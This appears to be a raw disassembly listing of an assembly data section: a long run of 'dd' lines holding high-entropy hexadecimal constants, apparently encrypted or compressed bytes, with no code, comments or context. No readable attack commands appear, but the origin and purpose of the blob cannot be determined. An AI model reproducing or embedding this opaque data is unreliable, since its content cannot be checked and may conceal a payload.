4A6424F9h dd 0AB0CA01Ah, 1A2493Ch, 0DA976390h, 0D040BA6Bh, 1E1BF276h dd 4789C4B8h, 70413692h, 0CC2B4B79h, 7190938h, 444E682Ah dd 607E5C61h, 1ADF460h, 89466FECh, 7ABE4503h, 0E66634C0h dd 7A7EB6h, 0E13936D8h, 0FF97DF4h, 809FBDF0h, 654D1818h dd 5D240216h, 1D923976h, 0A000A078h, 6610D6F5h, 8FE1F0h dd 878D7FAEh, 54B56E59h, 133C2900h, 5079CB64h, 0BB7E00CAh dd 0FA25760h, 0EB1CB173h, 0CFDF2993h, 65B5EA01h, 0ADC444DDh dd 0EC8B2C49h, 392687E0h, 3009E08Dh, 501FBBCh, 0D1F42E67h dd 3B2468h, 0F39717DCh, 0C022325h, 63529F86h, 27AC605Ch dd 1BB50031h, 5A46E7FFh, 9038E485h, 57A8479h, 0ED804E60h dd 5C9E20h, 809B7533h, 96B13497h, 0F753CC00h, 0FD9D045Fh dd 4C950068h, 0C27E1F02h, 12005BF0h, 0DBB89162h, 7FD54614h dd 0C8081D42h, 70BAC73Ah, 0D0A2F426h, 2EF2B7F0h, 7A393C98h dd 0A76480D2h, 400FE15Bh, 1C1CB293h, 8150B024h, 7107DAE0h dd 0EC487049h, 0E980421Eh, 6677E540h, 974E9DC2h, 1E531C81h dd 0D228706Dh, 77632900h, 0DF79EF5Ah, 34AD394Eh, 16777FDh dd 9218EB41h, 60D116D7h, 0F250A88Eh, 0B600EAB0h, 10D8E464h dd 33AFB1Eh, 7C5739DBh, 6087FEE3h, 11736BD1h, 0B1F228E8h dd 3A9FB90Bh, 122087A9h, 0D7321440h, 16DA0049h, 0EE5B7639h dd 0CC4DB5E0h, 0F04B00C8h, 0F470EAD1h, 0A1CCF196h, 5217201Eh dd 7EAB1401h, 0F8BDD015h, 2C7C9AE8h, 34E53Bh, 3DE73CFFh dd 5EE046EAh, 7747B100h, 8D3055DFh, 858100C7h, 0F3CFC919h dd 0BA167DE0h, 6714C412h, 0F13C0E5Ch, 89C79DC5h, 4197A31Eh dd 0C4B42510h, 787B0085h, 0CAB5F8F1h, 0B03B72FAh, 7BB23DD3h dd 3016701Dh, 4AF03683h, 5B1BD042h, 80557F3Bh, 0EB73087Fh dd 2BDC900h, 0C6C41D14h, 67B71F23h, 0F5960Fh, 6939225Ch dd 3C017529h, 3E34C657h, 6CE02BD0h, 12CB00D3h, 368D5EE4h dd 0EF39C274h, 0E1CD8665h, 618EB9Fh, 597AAD48h, 4ACF51EAh dd 74AAE0D3h, 52DA63h, 0B16D98B8h, 89921AF8h, 314E29C3h dd 1EC0BB3Fh, 0C37BF711h, 86827E0Fh, 0C78A2080h, 3CBD3600h dd 0E5657FE4h, 187566h, 156B7E4Ah, 0C3133F48h, 24B5573Ah dd 853FCB0Ah, 0FA510110h, 35817480h, 8B333F09h, 578F8800h dd 60A98027h, 3640214h, 1AFC00C0h, 49F8F938h, 7C9C3F85h dd 71768302h, 0CC87C1A8h, 0AE020B3h, 0F00A67D1h, 0BC1375BCh dd 0F2787040h, 28A001Dh, 0FB145A9Ah, 6C02D27Eh, 24C83FB1h dd 1066EBh, 1F1A77CCh, 0E189F72Ch, 0C300ECE2h, 5D7F6113h dd 2B7DAEh, 0A93F5BBCh, 0D355B651h, 7E07300h, 4E4259Ah dd 426D39C8h, 0FD97D80h, 0B9C00E9Fh, 8976CE3Ch, 19E7C35h dd 2CE199B8h, 4F1579E0h, 6A800190h, 0C07B02E9h, 6C0092CFh dd 6D48DB80h, 0D9457Ah, 383D6B8Ch, 22E28A10h, 70AD620Ah dd 2D02AC46h, 0C23B1D6Fh, 7946007h, 451600ACh, 2599F119h dd 2D0063B8h, 0A7584776h, 4E92A97Fh, 7364C0DEh, 4092CAB0h dd 50DED6E8h, 0CB4FB80h, 0AED0949h, 0F94B2A0Fh, 1C200D8h dd 6B6DC710h, 0B4104CB8h, 4D1469BCh, 5580A4F8h, 0B94BB780h dd 570A0812h, 34F65C80h, 745D00FBh, 0C7E9AB99h, 580549D1h dd 4529CCA0h, 901D54C0h, 5B9F019Bh, 0BC62662Ah, 83A4705Dh dd 14DE0100h, 0C054E76Dh, 47B026A8h, 18090120h, 0EBA5A749h dd 0BC9DB100h, 22794DEBh, 0B1F9006Ah, 0CE888C7Ch, 0A5000F3Ch dd 0A3D972DEh, 127F897Dh, 5C2DAEh, 0D41CA834h, 6D0F5E07h dd 0A017EA57h, 0DADDD13Fh, 9DC40091h, 0E552D4ADh, 9C001EFEh dd 0C5828908h, 2C34BDh, 69D97B61h, 0AE853EF7h, 0F310F33Bh dd 1B0BF490h, 19DC98C3h, 37C16D50h, 5A8470h, 0FF2AC8F6h dd 51E82738h, 0C0BF4402h, 56141791h, 89431F24h, 0A811182Ah dd 8714345Ch, 8516E600h, 0A2B0A658h, 0E39878h, 0DFBD7AC0h dd 6C0894D2h, 0E0DB49h, 0FC43E89Ch, 265D8F72h, 52876B9h dd 0C2A203D6h, 0BC60B6D1h, 2E3C6FC2h, 7080CBF8h, 27C98252h dd 43D82C0Dh, 53DB9504h, 9CAC2B35h, 8C8F0579h, 80565FDFh dd 48784A6Ch, 6344A301h, 4FE2B5C9h, 87C054C1h, 0BD2A1FAEh dd 1092C0D5h, 51A6C70Ah, 7F13F812h, 77F01800h, 18EAB5EBh dd 0A02A2797h, 0B00FC07Eh, 0C030121Ah, 8F2231F3h, 0CC8B058h dd 67AA359Ah, 86051DA8h, 0E8A2D8C9h, 23F9090h, 22E61507h dd 390098AFh, 204F04B0h, 0D9003AF9h, 9ED8A080h, 0F60F78h dd 46C6BBB4h, 20BE5AFAh, 11D93200h, 0A35E0C47h, 4CB60008h dd 0B9B2F3B4h, 0A00C0D3h, 9FF2549Bh, 808F95h, 0FAC2C1CAh dd 106281E4h, 0D000C84Fh, 45F00E06h, 147071h, 17998B6Ch dd 3C60F3F1h, 0E9559000h, 52FCE46Dh, 0D2EC0078h, 0C90E111Eh dd 0CC989760h, 89D73C3Eh, 0E58A4C4h, 18E34C06h, 4B27EB4h dd 6CF14E1Fh, 0E0FAC08Fh, 132AA97Ah, 8424E07Ch, 6480F0A7h dd 5CD5AE5Eh, 0AAE62EDAh, 713A0158h, 3137FD57h, 2CD2C088h dd 170EE998h, 0A1493D3Bh, 16C7507Eh, 7F54F0h, 0F1D2357Bh dd 51FA95F6h, 0B731E601h, 0AFAB694Ah, 0F6AC4DECh, 2BE11F6Bh dd 0EBDD0050h, 2042CB0Fh, 256F071Ch, 0C0C443EDh, 0A42221h dd 2ABDC855h, 0AF2D4BCAh, 0ABECC200h, 63562F5Eh, 8660024Dh dd 8ED77239h, 0B41F62C0h dd 1025400h, 235F9697h, 2B300174h, 93DA82F2h, 0F840DA14h dd 1800AB65h, 7523C5F6h, 34710A5h, 0A663363h, 0A7B812EDh dd 0EC1ED704h, 4C00F80Bh, 1AB16892h, 64190034h, 417DB7ACh dd 0CC002D8Dh, 0F88394C5h, 3A574428h, 1F3BFCDFh, 0B8614202h dd 3042CE8Ch, 6CD12BC0h, 43AE5B09h, 0C0BCE9BCh, 7AFB66F8h dd 749606E5h, 58EB6065h, 2E69EE5Ch, 97078C7Eh, 2F01D3E9h dd 0EFC74B9h, 37BC1795h, 931497C5h, 0B097EE9Dh, 2B07B5B4h dd 1F1CF301h, 31F7E4BAh, 0AC87D0h, 0ED406DDFh, 0D05F046Ah dd 612A6200h, 25479F79h, 15700BFh, 99DA3F46h, 410056A6h dd 53D8C1D9h, 7F620A11h, 0A3B802F0h, 10449F76h, 0F222EE60h dd 6B2FE800h, 64DF09E7h, 0C63B00F7h, 870263DAh, 2B07D61Ah dd 0B1BF4884h, 0FD17F3B0h, 0CB83014Ah, 0FEFA7DA2h, 9EEB4030h dd 1EE2D03Ah, 342BE700h, 845753CEh, 0ECB00Eh, 0A0CC8068h dd 5B58765Ch, 0D01D9E02h, 408273E1h, 726950A0h, 0D43F1293h dd 0C94E0033h, 0F7A82A89h, 34880600h, 285FC54Fh, 0B6DD0054h dd 0B0AA6813h, 0E500AF05h, 48E00195h, 0C0DFFED9h, 461DC940h dd 0E40031C6h, 0BAC4865Bh, 0ACD99Fh, 1F8A099Ch, 0F75A2002h dd 0A030DA60h, 78A80CCFh, 87FB018Ch, 58221AE8h, 21BCECh dd 952DB609h, 0CA774Eh, 75F178C0h, 0C47FB050h, 5EEA5450h dd 470310B8h, 7C1299E8h, 4620C753h, 3905C5ABh, 908916C9h dd 0DA07D484h, 84C60B4h, 5373A00Fh, 0A873BF00h, 6057D4Eh dd 2019675Ah, 24D3C21Dh, 0B9B134E0h, 397FBB07h, 0B41005F5h dd 0B6DC53Dh, 57F9E384h, 0EFE56800h, 0F800B630h, 17242A06h dd 0FA2516CDh, 930D4C14h, 0CABAE709h, 19FEC401h, 0E1F8F3B9h dd 5873F364h, 0EC5E1600h, 5A0322EBh, 0D6C1048Bh, 0C38CBE36h dd 89D891D8h, 51024D50h, 4ED78E0Eh, 1370D6A0h, 2980C87Dh dd 1244A94Ch, 54092CC0h, 0A2B80027h, 0F8417Eh, 9068FFEEh dd 6FD6C050h, 63B17705h, 9B0095E1h, 610D2F5Ch, 93EF0118h dd 0E53ADB91h, 15D47976h, 0C03454F5h, 9B1304FCh, 0AA722Dh dd 4DAE6ABDh, 66E38782h, 0D64A8D07h, 0C5B18095h, 3EC06C0Ch dd 577800B4h, 52EEFFB2h, 63F2622Ah, 38AD73Bh, 18F34625h dd 6055CAF1h, 1F35C687h, 433C0Dh, 0BC1461DBh, 0B00EDD57h dd 20F6CBE4h, 40D6824Fh, 526C0083h, 3C8A5370h, 609B0BCh dd 807CFE90h, 0F41837CBh, 3EAC0060h, 65C207E3h, 523CD6B8h dd 0C0B002DAh, 0E0BD239Bh, 54B4793h, 6E54C706h, 169C802Eh dd 0FB191FB4h, 7C10303Ah, 8C84C06Ah, 5F180CCBh, 7B182DD9h dd 359B0076h, 178B8466h, 0B6004445h, 3B1EAD11h, 9DA8DEA9h dd 0F56D2881h, 0ED7B7061h, 34B05C7Bh, 424BC722h, 80245C60h dd 0E3E86B0Ch, 721A02C3h, 0FB8699FCh, 8D20A907h, 4E2B26E0h dd 9D5480E9h, 0A70F6A17h, 653C04D0h, 0D0BC7751h, 0A2ADC712h dd 9F960020h, 27D8989Eh, 15EC007Dh, 0D3A8DA03h, 2E02D66Fh dd 50F131DEh, 0E8C40C8h, 277A0006h, 454EF508h, 7B00A0E8h dd 9E1009BFh, 12FD11Bh, 0A1EE3BB8h, 0C837FB40h, 6300FD07h dd 55BEF5DFh, 12B7389Ch, 0B0CA562Eh, 0EE3DA0E0h, 0ACC8CAB6h dd 0C7BF00D4h, 0FED35A81h, 91014ADDh, 63E7E0B1h, 0CCD4DE88h dd 6CC04C1Dh, 2A39DF00h, 9C03072Fh, 0FEDA911Eh, 2361E340h dd 7708D31h, 0CF875198h, 24C0BF1Fh, 0C75D407h, 9C3DC600h dd 0BCF01884h, 12640066h, 0C74D0B02h, 0B0B48C20h, 7C8F8400h dd 27D03CDCh, 0B842E592h, 3156F9C0h, 1479E101h, 62AEDF8Fh dd 0E2C34FCCh, 60F249h, 1C227488h, 0D9672948h, 93FE1204h dd 10E006EBh, 0F33012C7h, 99648CF5h, 55F75D16h, 604134C0h dd 0A15400D3h, 2D704D78h, 2169023h, 4201CB5Dh, 4821254Bh dd 0FAB5E8C7h, 0E2E41C69h, 0EA288238h, 0C704235h, 9E5EFE00h dd 0DD41FCC5h, 238600F7h, 0FF24114Ah, 0A900E913h, 57E33F71h dd 0DCC852h, 0B3F76785h, 5B2CF562h, 24FD4A00h, 68DBD3E8h dd 333F3B10h, 5DF62D80h, 0EB28AF16h, 779AD500h, 9830279Fh dd 6A490034h, 2B13A576h, 6100901Ah, 5C52F18Fh, 78F68971h dd 1C5D0018h, 0CE5F88A8h, 860028BAh, 7620379Eh, 0A9814Eh dd 0E614DA75h, 0F032F74Ah, 0DE942F00h, 0ECFC0AD1h, 55719Eh dd 1DBC773Bh, 0E8741B97h, 6442FE03h, 0E8C29B34h, 140BF2h dd 0C1A51FFFh, 9E68DE66h, 893AE903h, 0E876B078h, 75AF03Bh dd 0C73C7236h, 0FD35C0C3h, 0D40697DDh, 0CE49455Eh, 8A0F00A2h dd 6E16C4D8h, 89000162h, 51445EF5h, 110E83Eh, 4B77B14Dh dd 2016C2E9h, 57004E14h, 350D94B6h, 91EC83h, 0ED43AF69h dd 0D3117BF2h, 6295BA07h, 936033B6h, 0EBDCF40h, 0FC0F2651h dd 69D8A920h, 4D0530DFh, 2971B17Ah, 2A9F0A80h, 48760044h dd 0CBCEB259h, 0F006A91h, 6D5D17D4h, 7E9B05h, 7F7D255Fh dd 5C9C48B7h, 27D08500h, 0DB53F6BDh, 4C7700EFh, 70CEA6ABh dd 6E3C68A5h, 422F00A2h, 0E30D0B33h, 79D876BDh, 1AB61B85h dd 0F480C47Bh, 0E50024BFh, 6E74C859h, 0C025D57Eh, 0A26F1510h dd 5E00F790h, 7632C128h, 0D6D2E1h, 0ED4C4824h, 87A18BE5h dd 0C942AB0Fh, 0EAF600E9h, 4F4AB2h, 8E9222ADh, 346115FFh dd 0CA956D00h, 4CB93B66h, 0C1330583h, 404BCD23h, 6C063CD0h dd 0B500341Bh, 7CED9590h, 72070849h, 0DB3F004Dh, 224BF941h dd 0CE0520E2h, 98B3EF6Ch, 0F3670E80h, 0C668010Eh, 0AB93CA0Bh dd 527C8ECh, 0F18B4B00h, 0AF8D2D4Ah, 408E00F0h, 7B70CB51h dd 0B90C97E5h, 80C3D659h, 0D9623A63h, 0E0364A00h, 0D597F338h dd 171F3973h, 98195EEAh, 0BCF05410h, 18AE50BDh, 5AA400E2h dd 0C8926FB5h, 0E1078FB7h, 746312D8h, 8C66F1F0h, 62173CE9h dd 21248B00h, 311BE289h, 1F50A006h, 548C167h, 5E655CFDh dd 64840772h, 0AA7D617Ah, 0AC108071h, 0D1833146h, 0C5920302h dd 591F7E39h, 0D5DD3800h, 32466299h, 96580F1Bh, 0DAC0F620h dd 84784F95h, 0FD4DD600h, 67125009h, 6C9300A4h, 0D73ABDFAh dd 8700487Bh, 82F78BB1h, 426216h, 0B5DC4E90h, 0BF5E28Fh dd 0A79A5Ch, 2B0106B4h, 0AA8397h, 2157AFB3h, 35455203h dd 80A21539h, 0FC8DCC4Fh, 3B08209Ah, 9100F419h, 674AF983h dd 5900C197h, 473F1C70h, 2F8A94h, 881AB0B7h, 0E06E0118h dd 80D8FB3Ah, 879D6F63h, 0A4F4CBh, 0D616A9BDh, 0A81057DDh dd 0BE947324h, 0E42BE900h, 0AB15C3h, 0A237F6CAh, 9A7E8FE0h dd 685D7100h, 0F8E2D20Ah, 0E8620003h, 0A4984D80h, 0FC761459h dd 402C2624h, 1806A9Dh, 91F7AC35h, 0F0EF3250h, 10498608h dd 0FC1AF40Ah, 3B85FD00h, 0C12C283h, 0B84E0779h, 90D6D578h dd 427B41E0h, 14709A3Eh, 2D0C715h, 172CDDF7h, 0C03DC3B0h dd 3A9B311Dh, 3A8F97BBh, 818A0FBh, 20C0DE47h, 619B4D3Dh dd 0B889001Ah, 678E2F39h, 0A66CEA7Ch, 44AB158h, 37CE9DA0h dd 0CB1B8068h, 7803DB06h, 0B9609A4Eh, 599004CCh, 10935C2Bh dd 43E5B844h, 741700DDh, 0E87D38ACh, 6EFC0E6Ch, 92EE90F8h dd 0ADBDDD60h, 5F056F4Fh, 4AF7FBF6h, 58E79D80h, 14073DD8h dd 807F429Dh, 0EFD50495h, 0D9002356h, 17512E13h, 76AA1048h dd 7B122643h, 6FA80032h, 950A5A87h, 8F731C00h, 1DE21781h dd 3F860105h, 0C4FF7772h, 2E9F30FDh, 0F8A9BB00h, 0C180678Ah dd 0F75A0018h, 8710456Eh, 1C016243h, 0F03FC37Ah, 40D05FEAh dd 0E0E26Ah, 32CCE8ACh dd 0D9BD5B62h, 0B91B3700h, 3AB095A1h, 702700C8h, 86DDF319h dd 0F00021D5h, 7EC04A88h, 0C7CAB3h, 6B56DA28h, 5AAAEA59h dd 7C13C600h, 0A5C336FDh, 859D01F9h, 87049CC2h, 0EFE861F3h dd 0F03589E8h, 80F7513Ah, 0FD231C8Ah, 0C778F9h, 6101AB6Bh dd 57409CA6h, 224C8C00h, 0BA2FA94Fh, 0A2FE0044h, 0D47B10F6h dd 5E0F7692h, 20506B1Eh, 0A415420Bh, 466D03FBh, 0AC6F794Fh dd 0A2EA80C0h, 47504A1Ch, 0D396077Bh, 39C0422Eh, 10F83A6h dd 2A691181h, 0FC68C0DCh, 7B00E412h, 1F2E99FCh, 0E6B12B0Ah dd 0B83300B7h, 0BCD645Ch, 6800A26Bh, 0C47936A0h, 8B4E14h dd 57AD2ADAh, 94887397h, 230A3A01h, 0F6626830h, 40339AEBh dd 0BEEB57h, 1B8AC9A2h, 0D8D31785h, 44483Bh, 4A9AE2BCh dd 0E9B34Bh, 0D6A9DEF8h, 1ED00D31h, 43269100h, 0BB688027h dd 197141h, 0DAEA228h, 8FA8BE4Eh, 2B76E300h, 36B6A110h dd 0D5131D06h, 827A40CFh, 0E6BBDD27h, 0EB703100h, 0EA9F533h dd 0BDFE01EDh, 54EFC8FAh, 6CF2D06Eh, 0DFD8C00h, 0D8F4E6B0h dd 27010070h, 0F95F05C1h, 2D00DD21h, 8358F0F5h, 0F6851619h dd 917800CAh, 0D315EE22h, 6C606BB1h, 9F21C218h, 0EF751D0Dh dd 3F4B407Eh, 0FD64024Fh, 0A28BE700h, 0D25A0ED9h, 0A1D10090h dd 456FFB8Ch, 0E0F36159h, 0BE07CF80h, 0F54FEC4h, 0FB9EEBB0h dd 0E6130051h, 164C6393h, 0DD00BBBAh, 12BC5055h, 7A05E5D1h dd 3F817C7Ch, 0EF004ED6h, 0C42BE609h, 0D400CA32h, 0A3524A5Dh dd 1C818C37h, 0C1FBF826h, 0CD39470h, 2CA7F841h, 21019AF0h dd 78545BE0h, 0FDC4F4CFh, 0DE93002Fh, 1A533883h, 3300F236h dd 71F72364h, 1D022D63h, 0DC273F69h, 0C72040DBh, 2F7B67BAh dd 2B01D476h, 7668CD3Eh, 66E8727Fh, 7AE4BDh, 60D3D06Ch dd 82D13AD5h, 930C8306h, 388A6B7h, 84C75828h, 0AAA83C66h dd 3001C881h, 0A218D12Ah, 0BEF02B98h, 79561EB1h, 718880DDh dd 0EECDFD9Dh, 70D02100h, 92538C63h, 3B01EE1h, 0E23880ADh dd 8316514h, 0F79B2C13h, 76A25700h, 7A2B1BE6h, 73E50081h dd 38C408EFh, 0CE005C25h, 628E24A4h, 48F976A9h, 0D6001CC9h dd 8F36E620h, 1000A1E8h, 918C3BBFh, 0E231F8h, 807A45C0h dd 0D4252C82h, 0CCA23Ch, 0BFFE541Bh, 263D172Bh, 199C16Ch dd 0CE05025Bh, 0EBF980A6h, 2793D7B2h, 72B00FABh, 0C1602F10h dd 469BCBD2h, 38D6AC00h, 0EC450208h, 39A73FAh, 77F1EE0Eh dd 6DD8895Bh, 0C000C8C7h, 2FBDF930h, 0EF5C68h, 6DC1603h dd 4D7B33E0h, 0E40F521Fh, 0F16A8CC0h, 0F025FD99h, 0A22125AEh dd 5E00E8D0h, 92113E9Eh, 7C694FAh, 9C633554h, 0F1591060h dd 3D0051AAh, 0A9B35E5Bh, 1DC9F89h, 49F3919Bh, 0DC30F886h dd 0A3001120h, 0D87CFCC8h, 788164Bh, 2F75C70Ah, 6F0C059h dd 0B002A85Ah, 0AFDA3F24h, 0FC0B4084h, 0BAE200F8h, 5123D2A0h dd 0D100A660h, 848CF03Bh, 3A0F4Eh, 0D9E37E87h, 9A535291h dd 73DA4300h, 0A601A9DDh, 0F25C3028h, 8E4DE880h, 0F3F0650Fh dd 0C889003Fh, 0F0AAC61h, 0EBFAC067h, 0C1060960h, 0E9007728h dd 5E62E4DDh, 0A9FE82Ah, 56F97A9Ah, 3DE200C5h, 5F49D483h dd 14E44Ch, 0EFCEF0A4h, 0F3B5C5h, 271437Ah, 0FD3A302Ch dd 47FF7501h, 0E25815CDh, 2460AC47h, 7DFA4131h, 67890777h dd 0A0605C82h, 0FED2F3Bh, 0C5D4F300h, 0DF499759h, 1824008Fh dd 80111E82h, 0EE0441B9h, 64910825h, 62603587h, 0ECFE7B3h dd 44E0326Bh, 540483DCh, 30C7E8D5h, 25B58F97h, 56E19900h dd 37CF9FD7h, 60703Bh, 0EF3AAD98h, 48DA369Dh, 180058E6h dd 0E63C8CD3h, 865BDCh, 97C2FCA1h, 0D283A438h, 66F69FB8h dd 0DFF4EB00h, 629F84F5h, 0C9B30392h, 82745C75h, 40D59DDAh dd 7C80A9A8h, 4E4300C6h, 0B4FB5D56h, 30046D7h, 66D0776Fh dd 3EFC17Ch, 0C85F5EC4h, 10504263h, 0D00B0E4h, 543C931Fh dd 7F5A6C89h, 6D230018h, 246AF6AFh, 0E41EA1F3h, 0D0C00B79h dd 18F7B702h, 47C30E16h, 82001195h, 8ACCFF06h, 6EC29900h dd 0EFC650ACh, 0A62042Bh, 8043B171h, 0CA8940Eh, 0ABD99560h dd 41FFDAh, 8A4E3DD5h, 4039B12h, 8F48CCFDh, 10A948h, 7E02DC43h dd 3F6AF572h, 0ED18D0E3h, 75C20860h, 0E1FC3D7Bh, 2CFBCD14h dd 5754009Fh, 0F5C99DC0h, 1E35E25Ch, 5562EAh, 38365069h dd 8307FD7Bh, 8B345D14h, 27FE1F70h, 28D61FA0h, 2667CF0Ch dd 0F7EE92C0h, 1100CC48h, 0FFA0440Eh, 7E74BD7Eh, 0C8FD075Ah dd 50B3D383h, 0DD7C1669h, 964D0E00h, 0C3D15D6Fh, 5E42004Bh dd 62700AEDh, 17E87EAAh, 2D2C3700h, 0F0C7669h, 8E7D0050h dd 0D0E23AFCh, 651D4C64h, 5C068DE6h, 0F6481E72h, 29B53E86h dd 16DDD48Eh, 1D987140h, 0B2760C5Eh, 6F9BD300h, 74459DE0h dd 590114F9h, 37084E7h, 22942BFAh, 0BA034F7Ch, 8CC74298h dd 0B81BB0B6h, 9713007Dh, 7BE2A59Ch, 2800E999h, 8F0C9EB2h dd 286DE06Bh, 0A4F53Dh, 0AB707961h, 7733AED4h, 0B5578200h dd 0FB8AE637h, 0EB76C0F1h, 267B9F2Bh, 874A7C00h, 1C3FF045h dd 0CD860050h, 5E6867D0h, 37E8F54Bh, 4A312806h, 0F3047EAh dd 5C2DCF94h, 439D6400h, 0C4006FC3h, 4D89E8Ch, 2E1439D7h dd 801C0E9Bh, 0F1416975h, 5C008BAFh, 0FA64513Dh, 4614C5Fh dd 2D77D097h, 7C81C037h, 0D9006703h, 0E18D7FECh, 9AFA6C61h dd 0A31D0094h, 731CE6F1h, 694C3A82h, 25BE0053h, 0E9A0C25Eh dd 1864FBA4h, 45A93A27h, 0FA38067h, 8DC34E20h, 0DEE853DAh dd 10A02777h, 7379C647h, 284FB400h, 4C6E8422h, 0EC1D3EF5h dd 0B16B1Fh, 8ECCB63Dh, 0C60775A0h, 5C5FE045h, 1E0C0C6h dd 0B24105EBh, 0E0DC91D3h, 0C5287CE4h, 6A00A8C3h, 65F4230Dh dd 0D82C6626h, 771F7948h, 0C351E002h, 0A4C13D04h, 8818A448h dd 1205C228h, 0A82CAA0Dh, 0D118D981h, 2F92D1h, 0D740D2E9h dd 133024F5h, 0A683B01Ah, 0F88700E4h, 879EA05h, 8C1F67CBh dd 807C3604h, 0DD239890h, 0C5BBC7h, 171E2A7Ah, 6A25B1EFh dd 5AD2FA00h, 549EFCC3h, 9C340012h, 94D6C4A2h, 0AC0073BEh dd 2B6EBBE5h, 0D96AFEh, 1A774FDBh, 74B4E234h, 4191A300h dd 0EA58F220h, 0A97201D0h, 0B94D9943h, 0B58CD044h, 0C161F407h dd 0AD3039E6h, 51A10h, 9585E375h, 42D2B3FBh, 36BA3F00h dd 5CA6C0FEh, 0FE5D58ADh, 0F549F900h, 424870BBh, 544CA300h dd 0CD03F74Ah, 6BB3001Dh, 797DFFCh, 0E606DE61h, 2421582Eh dd 370B0060h, 9F4657D9h, 9C005330h, 0D60F8D85h, 7951D8FAh dd 19DE0347h, 58C9F25Dh, 4FDC2811h, 0FB483B08h, 0DDF91304h dd 5183CE06h, 52884EFCh, 0BF29C44Dh, 0BDBE44FAh, 38581447h dd 791C5A0Ch, 3314A0ABh, 0D2A08981h, 71F8300h, 2AC003Dh dd 184E52D5h, 2100104Bh, 0C971A21Eh, 3ED0D7B0h, 111DBD54h dd 0CF058719h, 1D0880E6h, 171F7E5Ch, 0F4FB8430h, 0C7DFFE0Fh dd 72BD4093h, 6822C3h, 0AB762EAAh, 0F0949B08h, 61A4B200h dd 0C485EC15h, 8B89008Fh, 0C3990F72h, 56053D41h, 42A8530Ch dd 0ABC42183h, 6FAF985Ah, 0F11A00DBh, 0C10CBFC7h, 261D4B6Eh dd 0E789C2E1h, 0A3E500B8h, 8AB75Ch, 427EC61Ch, 0D6CAC795h dd 0F7006572h, 38C810DCh, 74CFB8h, 2E923222h, 5D6376ADh dd 0FA810100h, 0F2E079B0h, 0C89A00CDh, 35490C5Bh, 99076C41h dd 6676B692h, 4BE0F4D0h, 9BECCCh, 0B8BA4E62h, 79C3EF1Ah dd 0CBBBC800h dd 5572DAD7h, 0BF7DE1h, 5CC9F9A0h, 54906ECAh, 9F188C3Dh dd 8D4374B2h, 98DB72EBh, 0F2E6032Fh, 57380060h, 0AFCED24Ch dd 6E0EFE74h, 271948h, 0C234D884h, 5E183187h, 0F4D17810h dd 1073CE4h, 7EECDE62h, 88AB9263h, 2A1133h, 0B1641648h dd 9501E931h, 36D19900h, 0F4E72DBEh, 756D0773h, 0A010937Fh dd 0C0B44179h, 2CEA5400h, 99568403h, 5D040028h, 5A6415F7h dd 48C0E823h, 88DB97D0h, 0D9D7003Eh, 4F6EB527h, 6000D857h dd 8074101Eh, 8EFD1Ch, 0D9384A34h, 0C2C73D40h, 0EB83900h dd 5458E874h, 1A1500ADh, 0D55B5DF6h, 84008AD8h, 0E6849FBh dd 0C2C6CCh, 16E5B2C0h, 57181A8Fh, 6CAA2F01h, 0E9E22F0h dd 2797AFCh, 69B3AFCDh, 8C8C178Dh, 6D1E9CC6h, 80FBC448h dd 55F2CA5Dh, 21D466h, 236B7284h, 0E71BBA8Eh, 82933200h dd 0D6125AFh, 8173A2h, 0FE1D6370h, 47D98B7Ch, 0D31D9274h dd 58C0049Ch, 5B704A12h, 806B0164h, 0E5C0F77Eh, 553CE04Bh dd 0FD007AFAh, 0C1A41833h, 1E1B3E0Ah, 0C67C8Ah, 0DC8BABDBh dd 0E6005A15h, 26B3405h, 6DA855h, 0A54B718h, 3D29DD4Bh dd 0B31A38h, 5EAE3F5Ch, 0DEFA08h, 21F42004h, 5D8C784Eh dd 3426AB00h, 405F9C2Eh, 1A2F1D28h, 41D48011h, 77AD9437h dd 0F90E0A00h, 0C3A2E879h, 81DD0072h, 74431C4Dh, 4000FAB2h dd 0BD972B48h, 0FDD3B6h, 0E447D52Ah, 9BE50DE7h, 17DB5E00h dd 602F0995h, 0DD890475h, 904AAC2Dh, 0F025CA20h, 81007DF2h dd 0D1D32BB6h, 2464F16Eh, 0BA3C6BC7h, 5A0074C9h, 6F70420Dh dd 8A009CE7h, 0DA21E1A6h, 17064Eh, 0C0E3C36Eh, 0B943425Bh dd 0EE4B672Ch, 0EA7A5D05h, 608078C4h, 1692B5DBh, 0F8A4B422h dd 871900ABh, 0E50C686Fh, 0B8E017ACh, 0E78600F8h, 113EFFD6h dd 0B33A5007h, 8F0079FAh, 355B463h, 5D5228E8h, 93B8DEAEh dd 6200D32Dh, 1057B7F8h, 0B811A9h, 0D27E2866h, 0B3169F70h dd 0C6B69300h, 38D59A79h, 0B5FC24h, 58201153h, 9B6C7F2Bh dd 0CAF3FF00h, 34B360C0h, 0F2DA00FBh, 0A5AD5B9Fh, 0AE036561h dd 93815FE8h, 0A880F438h, 0E2D09DDh, 1E8D9556h, 0C0779865h dd 326F4CA0h, 1DC2C6A0h, 0CA83EF07h, 8283B3C1h, 340EF835h dd 0A2A40010h, 0C7554D41h, 560019ABh, 0B593D201h, 549BA7Eh dd 21A1C1Bh, 0EEDFC06Fh, 0FB02C205h, 0ABC0140Dh, 6DA483F4h dd 96A990DAh, 0EBED00DFh, 0F31168DCh, 9F057F27h, 6D8DBE8Ch dd 0ED34D005h, 6B3003C0h, 0CE20F525h, 1BB90946h, 0C8040D91h dd 9DC0819Eh, 57C06068h, 673AF700h, 0E245364Fh, 192007Bh dd 965B13A3h, 0AE00A762h, 3C5D21D9h, 4EC63EEh, 3E8958ABh dd 0DD78C087h, 6F06F57Eh, 0B47D6985h, 3CB31D18h, 408A63Fh dd 80344BD5h, 478DC70h, 848EE000h, 25EE1B3Ah, 2D1C0005h dd 0D48A92A4h, 31243253h, 0CE00B4BAh, 0E633093Bh, 78BE0052h dd 14DBB61h, 0D50089EDh, 0BCABAA49h, 12A843FBh, 1F756648h dd 791FC004h, 0CC8E1E77h, 691DCFF8h, 183E605Ch, 648811B3h dd 96612431h, 15C68E78h, 600077C9h, 0A5322A03h, 41016C98h dd 11DCF51Ch, 0EAD4BBE3h, 0FC5200DEh, 7B57EB0Fh, 1802F020h dd 0E421FE8Fh, 0C6144053h, 1476002Ah, 775B2C07h, 0BC31B73Dh dd 116DD01Bh, 0CC8A0F2h, 5747BAh, 6E2C3EB0h, 84A57981h dd 1974077Ch, 0B9AFCF03h, 0D87B5302h, 5C5A7213h, 0D7006E0Eh dd 0F85D92C2h, 16000F9Ah, 0FCFEDA74h, 0BBD8F9h, 259B7D18h dd 4A461FFAh, 0D75BE803h, 750C7B0h, 0B63089A0h, 62B851A6h dd 0CEA520A4h, 81887C07h, 0E600E391h, 